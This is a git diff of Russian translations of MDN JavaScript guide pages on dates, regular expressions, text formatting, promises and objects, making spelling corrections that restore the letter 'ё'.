    • @@ -326,7 +326,7 @@ var notANum = Number.NaN;
      var Xmas95 = new Date("December 25, 1995");
       
      -

      Тогда Xmas95.getMonth() вернет 11, а Xmas95.getFullYear() вернет 1995.

      +

      Тогда Xmas95.getMonth() вернёт 11, а Xmas95.getFullYear() вернёт 1995.

      Методы getTime и setTime могут быть полезны при сравнении дат. Метод getTime возвращает количество миллисекунд, прошедших с 00:00:00 1 Января, 1970 года.

      @@ -340,7 +340,7 @@ var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay; var daysLeft = Math.round(daysLeft); // возвращает количество дней, оставшихся до конца года -

      Этот пример создает объект Date названный today, который содержит текущую дату и время. Затем, создается вспомогательный Date объект, названный endYear, которому устанавливаются значения, указывающие на конец года. После этого, при помощи рассчитанного количества миллисекунд в сутках, вычисляется количество дней между  today и endYear, При этом используются метод getTime и округление, для получения количества полных дней.

      +

      Этот пример создаёт объект Date названный today, который содержит текущую дату и время. Затем, создаётся вспомогательный Date объект, названный endYear, которому устанавливаются значения, указывающие на конец года. После этого, при помощи рассчитанного количества миллисекунд в сутках, вычисляется количество дней между  today и endYear, При этом используются метод getTime и округление, для получения количества полных дней.

      Метод parse полезен для присвоения значений существующим объектам Date из текстового формата. Например, следующий код использует методы parse и setTime чтобы установить значение переменной IPOdate:

      @@ -367,11 +367,11 @@ IPOdate.setTime(Date.parse("Aug 9, 1995")); } -

      Первым делом, функция JSClock создает новый объект Date, названный time; так как объект создается баз параметров, переменная time содержит текущую дату и время. Затем вызываются методы getHours, getMinutes и getSeconds, чтобы установить значения переменным hour, minute и second.

      +

      Первым делом, функция JSClock создаёт новый объект Date, названный time; так как объект создаётся баз параметров, переменная time содержит текущую дату и время. Затем вызываются методы getHours, getMinutes и getSeconds, чтобы установить значения переменным hour, minute и second.

      -

      Следующие четыре выражения строят текстовую строку на основе time. Первое из них создает переменную temp, присваивая ей значение при помощи условия; Если hour больше чем 12, то (hour - 12), иначе просто hour. В случае же, когда hour равно 0, берется фиксированное значение "12".

      +

      Следующие четыре выражения строят текстовую строку на основе time. Первое из них создаёт переменную temp, присваивая ей значение при помощи условия; Если hour больше чем 12, то (hour - 12), иначе просто hour. В случае же, когда hour равно 0, берётся фиксированное значение "12".

      -

      Следующее выражение приращивает минуты к переменной temp. Если количество минут меньше 10, то условное выражение добавляет строку с двоеточием и заполняющим нулем, иначе, просто строку с двоеточием. Секунды приращиваются к переменной temp тем же путем.

      +

      Следующее выражение приращивает минуты к переменной temp. Если количество минут меньше 10, то условное выражение добавляет строку с двоеточием и заполняющим нулём, иначе, просто строку с двоеточием. Секунды приращиваются к переменной temp тем же путем.

      В завершение всего, последнее условное выражение добавляет строку "P.M." к переменной temp если hour равно или больше 12, иначе, добавляется строка "A.M.".

      diff --git a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html index 2d04ed19aa..4906966bb8 100644 --- a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions ---

      {{jsSidebar("JavaScript Guide")}}{{draft}}

      -

      Проверка (assertion) задает возможность совпадения одним из указанных способов. Проверка может содержать условные выражения, опережающие (look-ahead) и ретроспективные (look-behind) проверки.

      +

      Проверка (assertion) задаёт возможность совпадения одним из указанных способов. Проверка может содержать условные выражения, опережающие (look-ahead) и ретроспективные (look-behind) проверки.

      Типы

      @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
    @@ -37,13 +37,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions diff --git a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html index 16df319f96..451d5d78bb 100644 --- a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html @@ -48,84 +48,84 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes - + - + - + - + - + - + - + - + - + - + diff --git a/files/ru/web/javascript/guide/regular_expressions/index.html b/files/ru/web/javascript/guide/regular_expressions/index.html index 1769079e27..d6a9f157de 100644 --- a/files/ru/web/javascript/guide/regular_expressions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/index.html @@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions -

    Использование конструктора влечет за собой компиляцию регулярного выражения во время исполнения скрипта. Используйте данный способ, если знаете, что выражение будет изменяться или не знаете шаблон заранее. Например вы получаете его из стороннего источника, при пользовательском вводе.

    +

    Использование конструктора влечёт за собой компиляцию регулярного выражения во время исполнения скрипта. Используйте данный способ, если знаете, что выражение будет изменяться или не знаете шаблон заранее. Например вы получаете его из стороннего источника, при пользовательском вводе.

    @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions

    Использование простых шаблонов

    -

    Простые шаблоны используются для нахождения прямого соответствия в тексте. Например, шаблон /abc/ соответствует комбинации символов в строке  только когда символы 'abc' встречаются вместе и в том же порядке. Такое сопоставление произойдет в строке "Hi, do you know your abc's?" и "The latest airplane designs evolved from slabcraft." В обоих случаях сопоставление произойдет с подстрокой 'abc'. Сопоставление не произойдет в строке "Grab crab", потому что она не содержит подстроку 'abc'.

    +

    Простые шаблоны используются для нахождения прямого соответствия в тексте. Например, шаблон /abc/ соответствует комбинации символов в строке  только когда символы 'abc' встречаются вместе и в том же порядке. Такое сопоставление произойдёт в строке "Hi, do you know your abc's?" и "The latest airplane designs evolved from slabcraft." В обоих случаях сопоставление произойдёт с подстрокой 'abc'. Сопоставление не произойдёт в строке "Grab crab", потому что она не содержит подстроку 'abc'.

    Использование специальных символов

    @@ -171,13 +171,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions @@ -283,7 +283,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions @@ -299,7 +299,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions @@ -375,7 +375,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions
    Свойства объекта Number
    {{jsxref("Number.isNaN()")}}Определяет, является ли число, переданное в качестве аргумента, {{jsxref("Global_Objects/NaN", "NaN")}} (не числом). Аналогичный, но более надежный метод чем глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.Определяет, является ли число, переданное в качестве аргумента, {{jsxref("Global_Objects/NaN", "NaN")}} (не числом). Аналогичный, но более надёжный метод чем глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.
    {{jsxref("Number.isSafeInteger()")}} x(?=y)

    Опережающая проверка: x подходит только когда за x следует y. Например, /Jack(?=Sprat)/ сработает для "Jack"  только когда за ним будет "Sprat".
    - /Jack(?=Sprat|Frost)/ подойдет для "Jack" только когда за ним будет "Sprat" или "Frost". Следует заметить, что ни "Sprat" ни "Frost" не будут выданы как часть проверки.

    + /Jack(?=Sprat|Frost)/ подойдёт для "Jack" только когда за ним будет "Sprat" или "Frost". Следует заметить, что ни "Sprat" ни "Frost" не будут выданы как часть проверки.

    (?<=y)x -

    Ретроспективная проверка: x подходит только когда x предшествует y. Например, /(?<=Jack)Sprat/ сработает для "Sprat" только если перед ним есть "Jack". /(?<=Jack|Tom)Sprat/ подойдет для "Sprat" если перед ним будут "Jack" или "Tom". Заметим, что ни "Jack" ни "Tom" не будут выданы.

    +

    Ретроспективная проверка: x подходит только когда x предшествует y. Например, /(?<=Jack)Sprat/ сработает для "Sprat" только если перед ним есть "Jack". /(?<=Jack|Tom)Sprat/ подойдёт для "Sprat" если перед ним будут "Jack" или "Tom". Заметим, что ни "Jack" ни "Tom" не будут выданы.

    (?<!y)x -

    Отрицательная ретроспективная проверка: x подходит только когда x не предшествует y. Например, /(?<!-)\d+/ сработает для числа в том случае, если перед ним не стоит знак минус. Выполнение кода /(?<!-)\d+/.exec('3') выдаст "3". Код /(?<!-)\d+/.exec('-3') ничего не найдет, т.к. перед числом есть знак минус.

    +

    Отрицательная ретроспективная проверка: x подходит только когда x не предшествует y. Например, /(?<!-)\d+/ сработает для числа в том случае, если перед ним не стоит знак минус. Выполнение кода /(?<!-)\d+/.exec('3') выдаст "3". Код /(?<!-)\d+/.exec('-3') ничего не найдёт, т.к. перед числом есть знак минус.

    \d -

    Совпадет с любой цифрой (арабский числа). Эквивалентно  [0-9]. Например, /\d/ или /[0-9]/ находит "2" в "B2 is the suite number"..

    +

    Совпадёт с любой цифрой (арабский числа). Эквивалентно  [0-9]. Например, /\d/ или /[0-9]/ находит "2" в "B2 is the suite number"..

    \D -

    Совпадет с любым символом, который не является цифрой (арабский числа). Эквивалентно [^0-9]. Например, /\D/ or /[^0-9]/ находит "B" в "B2 is the suite number".

    +

    Совпадёт с любым символом, который не является цифрой (арабский числа). Эквивалентно [^0-9]. Например, /\D/ or /[^0-9]/ находит "B" в "B2 is the suite number".

    \w -

    Совпадет с любой буквенно-числовым символом из базового латинского алфавита включая нижнее подчёркивание.  Эквивалентно [A-Za-z0-9_]. Например, /\w/ находит "a" в "apple", "5" в "$5.28", "3" в "3D" и "m" в "Émanuel".

    +

    Совпадёт с любой буквенно-числовым символом из базового латинского алфавита включая нижнее подчёркивание.  Эквивалентно [A-Za-z0-9_]. Например, /\w/ находит "a" в "apple", "5" в "$5.28", "3" в "3D" и "m" в "Émanuel".

    \W -

    Совпадет с любой буквенно-числовым, которое не является символом базового латинского алфавита, так же исключая нижнее подчёркивание.  Эквивалентно [^A-Za-z0-9_]. Например, /\W/ или /[^A-Za-z0-9_]/ находит "%" в "50%" и "É" in "Émanuel".

    +

    Совпадёт с любой буквенно-числовым, которое не является символом базового латинского алфавита, так же исключая нижнее подчёркивание.  Эквивалентно [^A-Za-z0-9_]. Например, /\W/ или /[^A-Za-z0-9_]/ находит "%" в "50%" и "É" in "Émanuel".

    \s -

    Совпадет с любым пробельным символом, включая пробел, символ табуляции, символ подачи страницы, символ подачи строки и другие Unicode пробелы. Эквивалентно [ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]. Например, /\s\w*/ находит " bar" в "foo bar".

    +

    Совпадёт с любым пробельным символом, включая пробел, символ табуляции, символ подачи страницы, символ подачи строки и другие Unicode пробелы. Эквивалентно [ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]. Например, /\s\w*/ находит " bar" в "foo bar".

    \S -

    Совпадет с любым символом, не являющимся пробельным. Эквивалентно [^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]. Например, /\S\w*/ находит "foo" в "foo bar".

    +

    Совпадёт с любым символом, не являющимся пробельным. Эквивалентно [^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]. Например, /\S\w*/ находит "foo" в "foo bar".

    \tСовпадет с символом горизонтальной табуляции.Совпадёт с символом горизонтальной табуляции.
    \rСовпадет с символом возврата каретки.Совпадёт с символом возврата каретки.
    \nСовпадет с символом подачи строки.Совпадёт с символом подачи строки.
    \vСовпадет с символом вертикальной табуляцииСовпадёт с символом вертикальной табуляции
    \fСовпадет с символом подачи страницы (формы).Совпадёт с символом подачи страницы (формы).
    [\b]Совпадет с символом возврат назад (англ. backspace). Если вы ищите символ границы слова (\b), смотри Границы.Совпадёт с символом возврат назад (англ. backspace). Если вы ищите символ границы слова (\b), смотри Границы.
    \0Совпадет с символом NUL character. Не используйте другую цифру.Совпадёт с символом NUL character. Не используйте другую цифру.
    \cX -

    Совпадет с контрольным символом using каретную нотацию, где "X" буква A–Z (соответствует кодам U+0001U+001F). For example, /\cM/ matches "\r" in "\r\n".

    +

    Совпадёт с контрольным символом using каретную нотацию, где "X" буква A–Z (соответствует кодам U+0001U+001F). For example, /\cM/ matches "\r" in "\r\n".

    \xhhСовпадет с символом, код которого hh (две шестнадцатеричных цифры).Совпадёт с символом, код которого hh (две шестнадцатеричных цифры).
    \uhhhhСовпадет с код-блоком UTF-16 со значением hhhh (четыре шестнадцатеричных цифры).Совпадёт с код-блоком UTF-16 со значением hhhh (четыре шестнадцатеричных цифры).
    \u{hhhh} or \u{hhhhh}(Только когда установлен флаг u.) Совпадет с Unicode символом со значением  U+hhhh или U+hhhhh (шестнадцатеричные цифры).(Только когда установлен флаг u.) Совпадёт с Unicode символом со значением  U+hhhh или U+hhhhh (шестнадцатеричные цифры).
    \

    m и n - положительные целые. Соответствует как минимум n и максимум m вхождениям предыдущего символа. При m=n=1 пропускается.

    -

    Например, /a{1,3}/ ничему не соответствует в строке "cndy", символу 'a' в "candy," двум а в "caandy," и трем первым а в "caaaaaaandy". Отметим, что при сопоставлении "caaaaaaandy", совпадает "aaa", хотя изначальная строка содержит больше а.

    +

    Например, /a{1,3}/ ничему не соответствует в строке "cndy", символу 'a' в "candy," двум а в "caandy," и трём первым а в "caaaaaaandy". Отметим, что при сопоставлении "caaaaaaandy", совпадает "aaa", хотя изначальная строка содержит больше а.

    [xyz] -

    Набор символов. Соответствует любому символу из перечисленных. Можно указать диапазон символов, используя тире. Специальные символы (как точка (.) и звездочка (*)) не имеют специального значения внутри такого набора. Их не надо экранировать. Экранирование работает также.

    +

    Набор символов. Соответствует любому символу из перечисленных. Можно указать диапазон символов, используя тире. Специальные символы (как точка (.) и звёздочка (*)) не имеют специального значения внутри такого набора. Их не надо экранировать. Экранирование работает также.

    Например, [abcd] эквивалентна [a-d]. Они соответствуют 'b' в "brisket" и 'c' в "city". /[a-z.]+/ и /[\w.]+/ обе соответствуют всему в "test.i.ng".

    \w -

    Соответствует любому цифробуквенному символу включая нижнее подчеркивание. Эквивалентен [A-Za-z0-9_].

    +

    Соответствует любому цифробуквенному символу включая нижнее подчёркивание. Эквивалентен [A-Za-z0-9_].

    Например, /\w/ совпадает с 'a' в "apple," '5' в "$5.28," и '3' в "3D."

    \n -

    Где n это положительное целое, обратная ссылка на последнюю найденную подстроку, соответствующую n , заключенную в круглые скобки в регулярном выражении (считая левые скобки).

    +

    Где n это положительное целое, обратная ссылка на последнюю найденную подстроку, соответствующую n , заключённую в круглые скобки в регулярном выражении (считая левые скобки).

    Например, /apple(,)\sorange\1/ соответствует 'apple, orange,' в "apple, orange, cherry, peach."

    -

    Чтобы просто узнать есть ли в строке что либо соответствующее шаблону, воспользуйтесь методами test или search; а чтобы получить больше информации пользуйтесь методами exec или match (хотя эти метода работают медленнее). Если вы пользуетесь exec или match и если совпадения есть, эти методы вернут массив и обновленные свойства объекта ассоциированного регулярного выражения а также предопределенного объекта RegExp регулярного выражения. Если совпадений нет, метод exec вернет null (который сконвертируется в  false).

    +

    Чтобы просто узнать есть ли в строке что либо соответствующее шаблону, воспользуйтесь методами test или search; а чтобы получить больше информации пользуйтесь методами exec или match (хотя эти метода работают медленнее). Если вы пользуетесь exec или match и если совпадения есть, эти методы вернут массив и обновлённые свойства объекта ассоциированного регулярного выражения а также предопределённого объекта RegExp регулярного выражения. Если совпадений нет, метод exec вернёт null (который сконвертируется в  false).

    В след. примере, скрипт использует метод exec чтобы найти совпадения в строке.

    @@ -388,13 +388,13 @@ var myArray = myRe.exec("cdbbdbsbz");
    var myArray = /d(b+)d/g.exec("cdbbdbsbz");
     
    -

    Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведен ниже:

    +

    Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведён ниже:

    var myRe = new RegExp("d(b+)d", "g");
     var myArray = myRe.exec("cdbbdbsbz");
     
    -

    С помощью этих скриптов, поиск совпадения завершается и возвращает массив и обновленные свойства показанные  в след. таблице.

    +

    С помощью этих скриптов, поиск совпадения завершается и возвращает массив и обновлённые свойства показанные  в след. таблице.

    @@ -431,7 +431,7 @@ var myArray = myRe.exec("cdbbdbsbz"); - + @@ -471,7 +471,7 @@ console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex);

    Использование скобочных выражений для нахождения подстрок

    -

    Использование скобок в шаблоне регулярного выражения повлечет "запоминание" совпавшей подстроки. Для примера, /a(b)c/ вызовет совпадение 'abc' и запомнит 'b'. Чтобы получить совпадения скобочного выражения используйте Array elements [1], ..., [n].

    +

    Использование скобок в шаблоне регулярного выражения повлечёт "запоминание" совпавшей подстроки. Для примера, /a(b)c/ вызовет совпадение 'abc' и запомнит 'b'. Чтобы получить совпадения скобочного выражения используйте Array elements [1], ..., [n].

    Число возможных скобочных подстрок неограничено. Возвращаемый массив содержит все полученные совпадения, удовлетворяющие выражению в скобках. Следующий пример показывает как использовать скобочные выражения для нахождения подстрок.

    @@ -557,7 +557,7 @@ console.log(myArray);

    Изменение порядка в Исходной Строке

    -

    След. пример иллюстрирует формирование регулярного выражения и использование string.split() и string.replace(). Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идет первым) разделенные пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имен (фамилия станет первой) и сортируется список.

    +

    След. пример иллюстрирует формирование регулярного выражения и использование string.split() и string.replace(). Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идёт первым) разделённые пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имён (фамилия станет первой) и сортируется список.

    // The name string contains multiple spaces and tabs,
     // and may have multiple spaces between first and last names.
    @@ -621,11 +621,11 @@ console.log(output.join("\n"));
     
     

    Использование спецсимволов для проверки входных данных

    -

    В след. примере, ожидается что пользователь введет телефонный номер и требуется проверить правильность символов набранных пользователем. Когда пользователь нажмет кнопку "Check", скрипт проверит правильность введенного номера. Если номер правильный (совпадает с символами определенными в регулярном выражении), то скрипт покажет сообщение благодарности для пользователя и подтвердит номер. Если нет, то скрипт проинформирует пользователя, что телефонный номер неправильный.

    +

    В след. примере, ожидается что пользователь введёт телефонный номер и требуется проверить правильность символов набранных пользователем. Когда пользователь нажмёт кнопку "Check", скрипт проверит правильность введённого номера. Если номер правильный (совпадает с символами определёнными в регулярном выражении), то скрипт покажет сообщение благодарности для пользователя и подтвердит номер. Если нет, то скрипт проинформирует пользователя, что телефонный номер неправильный.

    Внутри незахватывающих скобок (?:, регуляное выражение ищет три цифры \d{3} ИЛИ |  открывающую скобку \(, затем три цифры \d{3}, затем закрывающую скобку \), (закрывающая незахватывающая скобка )), затем тире, слеш, или десятичная точка, и когда это выражение найдено, запоминает символ ([-\/\.]),  следующие за ним и запомненные три цифры \d{3}, следующее соответствие тире, слеша или десятичной точки \1, и следующие четыре цифры \d{4}.

    -

    Регулярное выражение ищет сначала 0 или одну открывающую скобку \(?, затем три цифры \d{3}, затем 0 или одну закрывающую скобку \)?, потом одно тире, слеш или точка и когда найдет это, запомнит символ([-\/\.]), след. три цифры \d{3}, followed by the remembered match of a dash, forward slash, or decimal point \1, followed by four digits \d{4}.

    +

    Регулярное выражение ищет сначала 0 или одну открывающую скобку \(?, затем три цифры \d{3}, затем 0 или одну закрывающую скобку \)?, потом одно тире, слеш или точка и когда найдёт это, запомнит символ([-\/\.]), след. три цифры \d{3}, followed by the remembered match of a dash, forward slash, or decimal point \1, followed by four digits \d{4}.

    Событие "Изменить" активируется, когда пользователь подтвердит ввод значения регулярного выражения, нажав клавишу "Enter". 

    diff --git a/files/ru/web/javascript/guide/text_formatting/index.html b/files/ru/web/javascript/guide/text_formatting/index.html index 3539b94652..8d7ce164b9 100644 --- a/files/ru/web/javascript/guide/text_formatting/index.html +++ b/files/ru/web/javascript/guide/text_formatting/index.html @@ -67,7 +67,7 @@ console.log(str);
    var s = new String("foo"); // Создание объекта
     console.log(s); // Отобразится: { '0': 'f', '1': 'o', '2': 'o'}
    -typeof s; // Вернет 'object'
    +typeof s; // Вернёт 'object'
     

    Вы можете вызвать любой метод объекта класса String на строковом литерале - JavaScript сам преобразует строковый литерал во временный объект String, вызовет требуемый метод и затем уничтожит этот временный объект. Со строковыми литералами вы также можете использовать и String.length свойство.

    @@ -76,15 +76,15 @@ typeof s; // Вернет 'object'
    var s1 = "2 + 2"; // Создание строкового литерала
     var s2 = new String("2 + 2"); // Создание String объекта
    -eval(s1); // Вернет 4
    -eval(s2); // Вернет строку "2 + 2"
    +eval(s1); // Вернёт 4 +eval(s2); // Вернёт строку "2 + 2"

    Объект String имеет свойство length, которое обозначает количество символов в строке. Например, в следующем коде x получит значение 13 потому, что "Hello, World!" содержит 13 символов, каждый из которых представлен одним кодом UTF-16. Вы можете обратиться к каждому коду с помощью квадратных скобок. Вы не можете изменять отдельные символы строки, т.к. строки это массива-подобные неизменяемые объекты:

    var mystring = "Hello, World!";
     var x = mystring.length;
    -mystring[0] = 'L'; // Ничего не произойдет, т.к. строки неизменяемые
    -mystring[0]; // Вернет: "H"
    +mystring[0] = 'L'; // Ничего не произойдёт, т.к. строки неизменяемые
    +mystring[0]; // Вернёт: "H"
     

    Объект String имеет множество методов, в том числе и те, которые возвращают преобразованную исходную строку (методы substring, toUpperCase и другие).

    @@ -120,7 +120,7 @@ mystring[0]; // Вернет: "H" - + @@ -209,7 +209,7 @@ console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`);

    Интернационализация

    -

    Объект {{jsxref("Intl")}} представляет собой пространство имен для ECMAScript API по интернационализации, которое обеспечивает чувствительное к языку сравнение строк, форматирование чисел, времени и даты. Конструкторы для объектов {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} и {{jsxref("DateTimeFormat")}} являются свойствами объекта Intl.

    +

    Объект {{jsxref("Intl")}} представляет собой пространство имён для ECMAScript API по интернационализации, которое обеспечивает чувствительное к языку сравнение строк, форматирование чисел, времени и даты. Конструкторы для объектов {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} и {{jsxref("DateTimeFormat")}} являются свойствами объекта Intl.

    Форматирование времени и даты

    @@ -247,7 +247,7 @@ console.log(hanDecimalRMBInChina.format(1314.25)); // ¥ 一,三一四.二五

    Объект {{jsxref("Collator")}} полезен для сравнения и сортировки строк.

    -

    Например, в Германии есть два различных порядка сортировки строк в зависимости от документа: телефонная книга или словарь. Сортировка по типу телефонной книги подчеркивает звуки.

    +

    Например, в Германии есть два различных порядка сортировки строк в зависимости от документа: телефонная книга или словарь. Сортировка по типу телефонной книги подчёркивает звуки.

    var names = ["Hochberg", "Hönigswald", "Holzman"];
     
    diff --git a/files/ru/web/javascript/guide/using_promises/index.html b/files/ru/web/javascript/guide/using_promises/index.html
    index fea85730ac..19183e72e9 100644
    --- a/files/ru/web/javascript/guide/using_promises/index.html
    +++ b/files/ru/web/javascript/guide/using_promises/index.html
    @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Guide/Ispolzovanie_promisov
     

    {{jsSidebar("Руководство по JavaScript")}}{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}

    -

    {{jsxref("Promise")}} (промис, англ. "обещание") - это объект, представляющий результат успешного или неудачного завершения асинхронной операции. Так как большинство людей пользуются уже созданными промисами, это руководство начнем с объяснения использования вернувшихся промисов до объяснения принципов создания. 

    +

    {{jsxref("Promise")}} (промис, англ. "обещание") - это объект, представляющий результат успешного или неудачного завершения асинхронной операции. Так как большинство людей пользуются уже созданными промисами, это руководство начнём с объяснения использования вернувшихся промисов до объяснения принципов создания. 

    В сущности, промис - это возвращаемый объект, в который вы записываете два колбэка вместо того, чтобы передать их функции.

    @@ -65,7 +65,7 @@ promise.then(successCallback, failureCallback);

    Гарантии

    -

    В отличие от старомодных переданных колбэков промис дает некоторые гарантии:

    +

    В отличие от старомодных переданных колбэков промис даёт некоторые гарантии:

    • Колбэки никогда не будут вызваны до завершения обработки текущего события в событийном цикле JavaScript.
    • @@ -134,7 +134,7 @@ let promise2 = promise.then(successCallback, failureCallback);

      Цепочка вызовов после catch

      -

      Можно продолжить цепочку вызовов после ошибки, т. е. после catch, что полезно для выполнения новых действий даже после того, как действие вернет ошибку в цепочке вызовов. Ниже приведен пример:

      +

      Можно продолжить цепочку вызовов после ошибки, т. е. после catch, что полезно для выполнения новых действий даже после того, как действие вернёт ошибку в цепочке вызовов. Ниже приведён пример:

      new Promise((resolve, reject) => {
           console.log('Начало');
      @@ -221,7 +221,7 @@ wait(10000).then(() => saySomething("10 seconds")).catch(failureCallback);Композиция
       
      -

      {{jsxref("Promise.resolve()")}} и {{jsxref("Promise.reject()")}} короткий способ создать уже успешные или отклоненные промисы соответственно. Это иногда бывает полезно.

      +

      {{jsxref("Promise.resolve()")}} и {{jsxref("Promise.reject()")}} короткий способ создать уже успешные или отклонённые промисы соответственно. Это иногда бывает полезно.

      {{jsxref("Promise.all()")}} и {{jsxref("Promise.race()")}} - два метода запустить асинхронные операции параллельно.

      @@ -236,7 +236,7 @@ wait(10000).then(() => saySomething("10 seconds")).catch(failureCallback);const applyAsync = (acc,val) => acc.then(val); const composeAsync = (...funcs) => x => funcs.reduce(applyAsync, Promise.resolve(x));
      -

      composeAsync функция примет любое количество функций в качестве аргументов и вернет новую функцию которая примет в параметрах начальное значение, переданное по цепочке. Это удобно, потому что некоторые или все функции могут быть либо асинхронными либо синхронными, и они гарантированно выполнятся в правильной последовательности:

      +

      composeAsync функция примет любое количество функций в качестве аргументов и вернёт новую функцию которая примет в параметрах начальное значение, переданное по цепочке. Это удобно, потому что некоторые или все функции могут быть либо асинхронными либо синхронными, и они гарантированно выполнятся в правильной последовательности:

      const transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2);
       transformData(data);
      @@ -249,7 +249,7 @@ transformData(data);

      Порядок выполнения

      -

      Чтобы избежать сюрпризов, функции, переданные в then никогда не будут вызваны синхронно, даже с уже разрешенным промисом:

      +

      Чтобы избежать сюрпризов, функции, переданные в then никогда не будут вызваны синхронно, даже с уже разрешённым промисом:

      Promise.resolve().then(() => console.log(2));
       console.log(1); // 1, 2
      @@ -264,9 +264,9 @@ console.log(1); // 1, 2, 3, 4

      Вложенность

      -

      Простые цепочки promise лучше оставлять без вложений, так как вложенность может быть результатом небрежной структуры. Смотрите распространенные ошибки.

      +

      Простые цепочки promise лучше оставлять без вложений, так как вложенность может быть результатом небрежной структуры. Смотрите распространённые ошибки.

      -

      Вложенность - это управляющая структура, ограничивающая область действия операторов catch. В частности, вложенный catch только перехватывает сбои в своей области и ниже, а не ошибки выше в цепочке за пределами вложенной области. При правильном использовании это дает большую точность в извлечение ошибок:

      +

      Вложенность - это управляющая структура, ограничивающая область действия операторов catch. В частности, вложенный catch только перехватывает сбои в своей области и ниже, а не ошибки выше в цепочке за пределами вложенной области. При правильном использовании это даёт большую точность в извлечение ошибок:

      doSomethingCritical()
       .then(result => doSomethingOptional()
      @@ -291,7 +291,7 @@ doSomething().then(function(result) {
       }).then(() => doFourthThing());
       // Забыл закончить цепочку методом catch
      -

      Первая ошибка это неправильно сцепить вещи между собой. Такое происходит когда мы создаем промис но забываем вернуть его. Как следствие, цепочка сломана, но правильнее было бы сказать что теперь у нас есть две независимые цепочки, соревнующиеся за право разрешится первой. Это означает doFourthThing() не будет ждать doSomethingElse() или doThirdThing() пока тот закончится, и будет исполнятся параллельно с ними, это ,вероятно, не то что хотел разработчик. Отдельные цепочки также имеют отдельную обработку ошибок, что приводит к необработанным ошибкам.

      +

      Первая ошибка это неправильно сцепить вещи между собой. Такое происходит когда мы создаём промис но забываем вернуть его. Как следствие, цепочка сломана, но правильнее было бы сказать что теперь у нас есть две независимые цепочки, соревнующиеся за право разрешится первой. Это означает doFourthThing() не будет ждать doSomethingElse() или doThirdThing() пока тот закончится, и будет исполнятся параллельно с ними, это ,вероятно, не то что хотел разработчик. Отдельные цепочки также имеют отдельную обработку ошибок, что приводит к необработанным ошибкам.

      Вторая ошибка это излишняя вложенность, включая первую ошибку. Вложенность также ограничивает область видимости внутренних обработчиков ошибок, если это не то чего хотел разработчик, это может привести к необработанным ошибкам. Примером этого является пример как не нужно создавать обещания, который комбинирует вложенность с чрезмерным использованием конструктора обещаний для оборачивания кода который уже использует промисы.

      @@ -307,9 +307,9 @@ doSomething().then(function(result) { .then(() => doFourthThing()) .catch(error => console.log(error)); -

      Обратите внимание что () => x  это сокращенная форма () => { return x; }.

      +

      Обратите внимание что () => x  это сокращённая форма () => { return x; }.

      -

      Теперь у нас имеется единственная определенная цепочка с правильной обработкой ошибок.

      +

      Теперь у нас имеется единственная определённая цепочка с правильной обработкой ошибок.

      Использование async/await предотвращает большинство, если не все вышеуказанные ошибки—но взамен появляется другая частая ошибка—забыть ключевое слово await.

      @@ -318,5 +318,5 @@ doSomething().then(function(result) { diff --git a/files/ru/web/javascript/guide/working_with_objects/index.html b/files/ru/web/javascript/guide/working_with_objects/index.html index 88742ac122..ee94429f46 100644 --- a/files/ru/web/javascript/guide/working_with_objects/index.html +++ b/files/ru/web/javascript/guide/working_with_objects/index.html @@ -11,11 +11,11 @@ translation_of: Web/JavaScript/Guide/Working_with_Objects

      Объекты в JavaScript, как и во многих других языках программирования, похожи на объекты реальной жизни. Концепцию объектов JavaScript легче понять, проводя параллели с реально существующими в жизни объектами.

      -

      В JavaScript объект — это самостоятельная единица, имеющая свойства и определенный тип. Сравним, например, с чашкой. У чашки есть цвет, форма, вес, материал, из которого она сделана, и т.д. Точно так же, объекты JavaScript имеют свойства, которые определяют их характеристики.

      +

      В JavaScript объект — это самостоятельная единица, имеющая свойства и определённый тип. Сравним, например, с чашкой. У чашки есть цвет, форма, вес, материал, из которого она сделана, и т.д. Точно так же, объекты JavaScript имеют свойства, которые определяют их характеристики.

      Объекты и свойства

      -

